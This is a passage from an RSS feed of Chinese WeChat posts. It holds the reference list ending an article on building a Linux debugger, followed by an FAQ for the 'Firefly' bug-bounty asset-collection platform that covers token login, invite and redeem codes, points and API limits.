center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">参考</h1><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://github.com/kabeor/Capstone-Engine-Documentation/blob/master/Capstone-Engine%20Documentation.md" target="_blank">https://github.com/kabeor/Capstone-Engine-Documentation/blob/master/Capstone-Engine%20Documentation.md</a></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Writing a Linux Debugger Part 1: Setup (tartanllama.xyz)</span>：作者讲解非常详细，还涉及源码调试功能，这里就没有加入该功能</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://mp.weixin.qq.com/s?__biz=MzA3NzYzODg1OA==&amp;mid=2648465474&amp;idx=2&amp;sn=52dfd43e8f376e1ff16b2f81c3c002a7&amp;scene=21#wechat_redirect" title="一文看懂 | GDB底层实现原理" style="line-height: 1.75;" data-linktype="2">一文看懂 | GDB底层实现原理</a></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://mp.weixin.qq.com/s?__biz=MzA3NzYzODg1OA==&amp;mid=2648466708&amp;idx=1&amp;sn=fd765d1e3c958c194010f35728e46fb0&amp;scene=21#wechat_redirect" title="自己动手写一个GDB｜基本功能" style="line-height: 1.75;" data-linktype="2">自己动手写一个GDB｜基本功能</a></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">squarepants0/minidbg: Writing a minidbg on Linux with C (github.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">troydhanson/uthash: C macros for hash tables and more (github.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">antirez/linenoise: A small self-contained alternative to readline and libedit (github.com)</span></p></li></ul><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485824">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=46131a16&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485824%26idx%3D1%26sn%3D4e89f7b19e854644f595249a8ff571c7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 24 Feb 2023 11:06:00 +0800</pubDate>
    </item>
    <item>
      <title>Firefly平台使用常见问题说明</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485815&amp;idx=1&amp;sn=6f25cadf02cc36ec73445b6589d32413</link>
      <description>前言平台的功能都是在工作之余来设计和完成的，由于时间有限，部分功能从设计到开发可能中间间隔了较长一段时间，导</description>
      <content:encoded><![CDATA[<p>
<span>Young</span> <span>2023-02-10 10:36</span> <span style="display: inline-block;">北京</span>
</p>

<p>前言平台的功能都是在工作之余来设计和完成的，由于时间有限，部分功能从设计到开发可能中间间隔了较长一段时间，导</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c0acabf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibiaGsyIuMzVUSRXs0NOrAPTgR8aL6qndy64WoZ8M3tiaaJOO3Cl1QEBasQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;word-break: break-word;overflow-wrap: break-word;text-align: left;line-height: 1.25;letter-spacing: 2px;background-size: 20px 20px;background-position: center center;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><img class="rich_pages wxw-img" data-ratio="0.4255555555555556" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=99ab3478&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqcVQEghicvicxjAvq5wQGYgyTq6qhDbljLTQLO3Hg33kAjyjcia7pkSJAlQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/><p data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;word-break: break-word;overflow-wrap: break-word;line-height: 1.25;letter-spacing: 2px;background-size: 20px 20px;background-position: center center;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><span style="border-bottom: 2px solid #d89cf6;">前言</span><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">平台的功能都是在工作之余来设计和完成的，由于时间有限，部分功能从设计到开发可能中间间隔了较长一段时间，导致风格上显得不那么统一，且上线前也没有来得及写详细的介绍文档，所以可能师傅们使用时有很多疑惑，后续会对这些方面进行调整及优化的，这里先整理下师傅们遇到的常见问题：</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="display: none;"></span><span style="border-bottom: 2px solid #d89cf6;">登录、账号问题</span><span style="display: none;"></span></h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">由于暂时没有时间开发两套账户认证功能，所以目前平台没有使用传统的账号密码注册，<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">唯一的认证凭证是token</code>；</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">为了方便各位师傅直接调用api接口，<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">token永不过期</code>，除非手动刷新。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">为方便各位师傅在浏览器上的使用，平台只要登录一次，就会在浏览器保存认证信息，<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">不需要再次登录</code>，除非刷新浏览器缓存或者手动退出。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">公众号发送 <code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">我的信息</code>四个字会返回生成的账户token，<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">这个token就是登录密码，用户名随意</code></p></section></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5570719602977667" data-s="300,640" style="" data-type="png" data-w="806" src="https://wechat2rss.xlab.app/img-proxy/?k=63500c60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibiav9je1icgXqbKlaukHvb7qcgAVbnyttXTxRCtrLX1CL0X2u1AmrNvfLw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3490650044523598" data-s="300,640" style="" data-type="png" data-w="2246" src="https://wechat2rss.xlab.app/img-proxy/?k=d0b32f0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibias66NCM9iaRia44Ih2ia7GnySly3TsticzRPNxXnzvM4wswTfib90icwJ2sKw%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="display: none;"></span><span style="border-bottom: 2px solid #d89cf6;">邀请码问题</span><span style="display: none;"></span></h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">邀请码是一个常驻的获取积分的途径；</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">绑定邀请码是发送<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">邀请码+6个数字</code>，中间没有冒号或空格</p></section></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.36114570361145704" data-s="300,640" style="" data-type="png" data-w="803" src="https://wechat2rss.xlab.app/img-proxy/?k=da80e908&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibialPicjymtkOzjHxziblqDkQZnCMH3bzpjvFtIq2t8BDZElA2WtCc2MugA%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="display: none;"></span><span style="border-bottom: 2px solid #d89cf6;">兑换码问题</span><span style="display: none;"></span></h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">兑换码是不定期放出的获取积分的途径。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">兑换码是F开头的一个<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">8位的字符串</code>，直接回复这个8位的字符串即可。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">目前一共两个，一个是上篇文章末尾获取，一个是在<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">RainSec</code>的公众号回复<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">兑换码</code>三个字来获取</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">获取到的兑换码都是在<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">安全小工坊</code>公众号回复使用</p></section></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3553921568627451" data-s="300,640" style="" data-type="png" data-w="816" src="https://wechat2rss.xlab.app/img-proxy/?k=6ee8be21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibiaWra9YGZoQFcOClldqFrkXW5SOy8QcbsEiaMWibpafIiaZl4icZ1YMeGDvw%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="display: none;"></span><span style="border-bottom: 2px solid #d89cf6;">api或者接口问题</span><span style="display: none;"></span></h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">详细的文档还没来得及写，师傅们可以直接抓包查看所需接口的写法及参数</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">限于服务器配置，为保证服务器正常运行，目前接口有频率限制，暂不支持并发查询</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">限于服务器配置，平台只限制当前查询条件下的前10000条数据(500页)，设置<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">更详细的查询条件</code>可查询到更早的资产</p></section></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="display: none;"></span><span style="border-bottom: 2px solid #d89cf6;">子域名列表和网站列表是空的</span><span style="display: none;"></span></h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">首次登录后要先点击<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">修改关注的src</code>按钮，添加关注的src后资产列表才会有对应的资产</section></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3433333333333333" data-s="300,640" style="" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=ca62f53a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibiaJCLoYibibm8ticxtmBuYhFRu9w63ibJdBDy8ttKicbveMGh1Te1XG4Wvz6A%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.40774193548387094" data-s="300,640" style="" data-type="png" data-w="775" src="https://wechat2rss.xlab.app/img-proxy/?k=728862d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibiaYpsSXHUF6qfZib6qRAqCUjAn33uqN0amkt9TsfrDuRxn7fEiaA96xy8w%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="display: none;"></span><span style="border-bottom: 2px solid #d89cf6;">主域名列表是空的</span><span style="display: none;"></span></h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">主域名大多是自动化收集，存在未收录到的主域名资产，这里主要是用来<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">补充平台未收录的src的主域名</code>，</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">如果师傅们发现有属于src的域名但不在这个平台，可以在这里添加域名资产，审核通过后就会加入到信息收集的任务中</p></section></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4546525323910483" data-s="300,640" style="" data-type="png" data-w="849" src="https://wechat2rss.xlab.app/img-proxy/?k=837d64c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibiaWVicxRSwEyGZXhMsdSibWyibaicibkJibibjG6j1eQKatnRibN14dMHM812BIQ%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="display: none;"></span><span style="border-bottom: 2px solid #d89cf6;">积分使用</span><span style="display: none;"></span></h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">在积分旁边有一个<strong style="color: rgb(145, 109, 213);">「兑换按钮」</strong>，可以兑换所需要的功能</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">在2月10号前关注且使用了发放的两个兑换码，至少可获得230积分，相当于给各位直接发放了<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">两个src关注上限</code>或者<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">7天vip</code>，还有<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">三次的切换src</code>的次数。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">积分永不过期</code>，大家可根据自己的情况自行选择。<span style="text-align: center;font-size: 16px;"></span></p></section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.40198863636363635" data-s="300,640" style="" data-type="png" data-w="704" src="https://wechat2rss.xlab.app/img-proxy/?k=897138d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibiaI5j8y4EKt2yCVPTSQTUycOTy3gBZf7ysjNUI68pBL0WqCu4cr1WwXA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.45545796737766625" data-s="300,640" style="" data-type="png" data-w="797" src="https://wechat2rss.xlab.app/img-proxy/?k=3fa0f9e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNC8AfWzXqKME1Ys8OnHdibia6BHzfuVtnsxE8y69wK8qdOnia60LqCJAfkYoOH58vDEX7c2sj1d4nyw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;word-break: break-word;overflow-wrap: break-word;line-height: 1.25;letter-spacing: 2px;background-size: 20px 20px;background-position: center center;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><span style="border-bottom: 2px solid #d89cf6;">最后</span></p><p style="padding: 8px 10px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;font-size: 14px;word-break: break-word;overflow-wrap: break-word;text-align: left;letter-spacing: 2px;background-size: 20px 20px;background-position: center center;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;font-size: 14px;letter-spacing: 2px;text-align: left;word-spacing: 2px;background-color: rgb(255, 255, 255);">师傅们有什么想法和建议都可以通过公众号获取联系方式和我交流，所有的问题都会认真对待的，但可能受限于时间精力等原因，会优先解决更重要的内容，还望师傅们多多见谅！</span><br/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485815">阅读原文</a></p>
